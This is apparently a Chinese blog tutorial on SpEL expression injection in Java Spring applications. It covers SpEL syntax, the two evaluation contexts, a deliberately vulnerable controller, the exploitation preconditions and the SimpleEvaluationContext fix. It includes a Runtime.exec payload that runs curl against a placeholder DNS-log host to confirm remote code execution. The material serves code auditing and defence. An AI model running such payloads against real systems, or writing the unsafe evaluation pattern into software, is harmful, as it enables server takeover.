SpEL表达式概念

Spring Expression Language(SpEL) 是 Spring Framework 提供的一种功能强大的表达式语言,全称为 Spring Expression Language,简称 SpEL。它类似于 Struts2 中的 OGNL 表达式语言,旨在为静态的 Java 语言增加动态执行能力,使开发者可以以一种更简洁、灵活的方式访问对象属性、调用方法、进行逻辑运算和动态赋值。

SpEL 的作用和应用场景

SpEL 的设计初衷是为了简化开发工作,提供一种 在运行时动态解析和执行表达式 的机制,常用于如下场景:

  • 配置 Bean 的属性值(配合 @Value 注解)
  • Spring Security 权限表达式
  • Spring Data JPA 查询表达式
  • 条件逻辑控制(如 SPEL 条件注解 @ConditionalOnExpression
  • 模板引擎中处理动态数据
  • 静态方法调用或对象动态构造

举个简单例子,@Value("#{user.name}") 能让你动态从某个 Bean 中获取字段值注入到另一个 Bean 中。

SpEL 不仅支持属性访问和方法调用,还支持集合操作、正则匹配、表达式求值、对象创建等,是 Spring 应用中的通用表达式解析工具。

SpEL支持的功能特性

SpEL 主要支持以下操作:

功能 示例 描述
文字表达式 'hello', 123, true 字符串、数字、布尔值、null
属性访问 person.name 访问对象属性
方法调用 'abc'.toUpperCase() 调用实例方法
静态方法 T(java.lang.Math).random() 访问 Java 类的静态方法或字段
对象创建 new java.util.Date() 实例化对象
集合操作 list[0], map['key'] 访问数组、List、Map
关系运算符 age > 18 比较操作,如 >、<、== 等
逻辑运算符 true and false andornot 逻辑组合
条件(三元)运算符 score > 60 ? '及格' : '不及格' 简化条件判断
正则表达式 'abc' matches '[a-z]+' 字符串正则匹配
Bean 引用 @myBean 引用 Spring 容器中的 Bean
投影操作 list.![name] 从集合中提取每个元素的某个属性
过滤操作 list.?[age > 18] 过滤集合中满足条件的元素
变量引用 #name, #user.age 使用上下文中定义的变量
模板表达式 "Welcome, #{#user.name}!" 与字符串模板结合生成动态字符串

SpEL的执行机制

  • ExpressionParser
  • EvaluationContext

ExpressionParser(表达式解析器)

用于将字符串形式的表达式解析为 Expression 对象:

ExpressionParser parser = new SpelExpressionParser();
Expression expr = parser.parseExpression("user.age");

EvaluationContext(表达式上下文)

在执行表达式时提供变量、对象、函数等运行环境,简单来说,它是表达式执行的运行环境

StandardEvaluationContext context = new StandardEvaluationContext(user);
int age = expr.getValue(context, Integer.class);

主要有 StandardEvaluationContextSimpleEvaluationContext两种

有些老版本不支持SimpleEvaluationContext,并且如果不做特意说明的情况下,默认是使用更不安全的StandardEvaluationContext

其中StandardEvaluationContext功能最强大,支持SpEL的所有特性,而SimpleEvaluationContext功能受限,专为安全场景设计

功能类别 StandardEvaluationContext SimpleEvaluationContext ️ 说明
设置根对象 支持 支持 设置表达式的默认作用对象
设置变量 支持 支持 可使用 #varName 形式
注册自定义函数 支持 不支持 可用静态方法注册为函数
访问 Java 类 支持(T(...)) 不支持 T(java.lang.Math).PI
调用构造函数 支持(new) 不支持 new java.util.Date()
访问 Spring Bean 支持(配合 BeanResolver) 不支持 通过 @beanName 引用
方法调用 支持 ️ 仅支持 getter 完整方法调用或属性访问
修改属性 支持 不支持 只读上下文不允许修改
集合筛选与投影 支持 不支持 list.?[age>18]
自定义类型转换器 支持 不支持 用于自定义表达式值转换
安全性 不安全 高安全性 用户输入不应使用标准上下文
适用场景 内部逻辑、系统配置 用户输入、REST绑定等 用于信任 vs 不信任来源

SpEL表达式使用方法

1、基于注解

一般是写死在代码中,没有很大的可能能利用

@Value("#{2 * 10}")
private int result; @Value("#{systemProperties['user.name']}")
private String userName;

2、XML

也是写死在代码中,但是可以配合某些特定组件的Nday漏洞利用,如jackjson的CVE-2017-17485、weblogic的CVE-2019-2725

<bean id="exampleBean" class="com.example.MyBean">
<property name="value" value="#{T(java.lang.Math).random() * 100}" />
</bean>

3、外部传入动态执行

外部传入的方式非常之危险

@GetMapping("/spel")
public String spel(@RequestParam String spel) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
Object value = expression.getValue();
return "结果: " + value;
}

SpEL注入示例

    /**
* SpEL to RCE
* http://localhost:8080/spel/vul/?expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
Expression expression1 = parser.parseExpression(expression);
Object obje = expression1.getValue();
String obj_str = obje.toString();
return obj_str; }

ExpressionParser parser = new SpelExpressionParser();创建了一个表达式解析,将传入的expression解析为Expression对象

最终通过getValue方法执行表达式,parseExpression方法并不会执行表达式,最终的执行还是在getValue()

那么可以构造Payload为T(java.lang.Runtime).getRuntime().exec("curl xxx.dnslog.cn")

这里获取Runtime类,并通过调用Runtime.getRuntime.exec()进行命令执行

相关SpEL语法可见https://zhuanlan.zhihu.com/p/339619962

SpEL利用的前置条件

通过上面的学习,可以发现如果想要将SpEL升级成RCE,那么就必须具备一下三个条件

  1. 传入的表达式未过滤
  2. 表达式解析之后调用了getValue()或setValue()
  3. 使用StandardEvaluationContext作为上下文对象(如果不指定,Spring默认使用StandardEvaluationContext)

漏洞修复

使用SimpleEvaluationContext代替StandardEvaluationContext即可

审计方法

全局搜索expression或更详细的调用方法等

Java代码审计SpEL表达式注入的更多相关文章

  1. java代码审计-SpEL表达式注入

    0x01 前言 Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言.用于在运行时查询和操作对象图:语法上类似于Unified EL,但提供了更多的特性,特 ...

  2. SpEL表达式注入漏洞学习和回显poc研究

    目录 前言 环境 基础学习和回显实验 语法基础 回显实验 BufferedReader Scanner SpEL漏洞复现 低版本SpringBoot中IllegalStateException CVE ...

  3. 一文详解SpEL表达式注入漏洞

    摘要:本文介绍了SpEL表达式以及常见的SpEL注入攻击,详细地介绍了部分漏洞攻击实例以及常用的漏洞检测与防御手段. 本文分享自华为云社区<SpEL表达式注入漏洞分析.检查与防御>,作者: ...

  4. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

  5. [代码审计]某租车系统JAVA代码审计[前台sql注入]

    0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...

  6. JAVA WEB EL表达式注入

    看猪猪侠以前的洞,顺便总结下: 一.EL表达式简介 EL 全名为Expression Language.EL主要作用: 1.获取数据 EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的we ...

  7. SpringBoot框架SpEL表达式注入漏洞复现与原理分析

    前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...

  8. SpEL表达式注入

    一.内容简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于Unified EL,但提供了额外的功能,特别是方 ...

  9. Java Web表达式注入

    原文:http://netsecurity.51cto.com/art/201407/444548.htm 0×00 引言 在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为 ...

  10. ref:一种新的攻击方法——Java Web表达式注入

    ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...

随机推荐

  1. selenium自动化测试入门

    Selenium是一个基于浏览器的自动化测试工具,它提供了一种跨平台.跨浏览器的端到端的web自动化解决方案. Selenium是用于自动化控制浏览器做各种操作,打开网页,点击按钮,输入表单等等,可以 ...

  2. 变异凯撒-python脚本调整ascii码转字符串

    题目: 加密密文:afZ_r9VYfScOeO_UL^RWUc 格式:flag{ } 结合题目变异凯撒,第一个字符a到f加了5,第二个字符f到l加了6,推断每个字符都在前一个字符基础上+1. 编写py ...

  3. 分析 AIX 和 Linux 性能的免费工具。

    一.软件介绍1.分析工具nmon 工具可以帮助在一个屏幕上显示所有重要的性能优化信息,并动态地对其进行更新.这个高效的工具可以工作于任何哑屏幕.telnet 会话.甚至拨号线路.另外,它并不会消耗大量 ...

  4. Linux如何从命令行卡死的进程中退出?

    Linux如何从命令行卡死的进程中退出? 不知道大家在使用Linux的时候,会不会遇到一些命令,有可能卡顿,有可能执行时间过长(比如使用 find 查找某个文件),这个时候我不想继续执行这个命令了,说 ...

  5. CSAPP学习笔记——chapter9 虚拟内存

    CSAPP学习笔记--chapter9 虚拟内存 虚拟内存提供三个重要的功能.第一,它在主存中自动缓存最近使用的存放磁盘上的虚拟地址空间的内容.虚拟内存缓存中的块叫做页.对磁盘上页的引用会触发缺页,缺 ...

  6. 【Python】文件批量重命名

    需求: 经常有很多相似的文件需要重命名,如果一个一个来太麻烦了,正好会Python,所以用Python写了个脚本,把符合要求的文件的文件名修改为新的. 代码: # coding:utf-8 # @Ti ...

  7. C# using 别名

    场景重现 当using的多个库出现类名重复的情况时... 解决办法 使用类的完全限定名称,例如: // 不需要using,避免using名称重复导致的异常 // 使用类的完全限定名称,俗称全名. Sy ...

  8. FastAPI中Pydantic异步分布式唯一性校验

    title: FastAPI中Pydantic异步分布式唯一性校验 date: 2025/04/02 00:47:55 updated: 2025/04/02 00:47:55 author: cmd ...

  9. 2024 蓝桥杯模拟赛3(div1+div2)

    2024 蓝桥杯模拟赛3(div1+div2) P8834 [传智杯 #3 决赛] 序列 简单的模拟,数据范围很小,暴力即可 点击查看代码 #include <bits/stdc++.h> ...

  10. Redis-过期删除策略和内存淘汰策略

    简介.我们先来看如下几个问题: ①.如何设置Redis键的过期时间 ? ②.设置完一个键的过期时间后,到了这个时间,这个键还能获取到么?假如获取不到那这个键还占据着内存吗 ? ③.如何设置Redis的 ...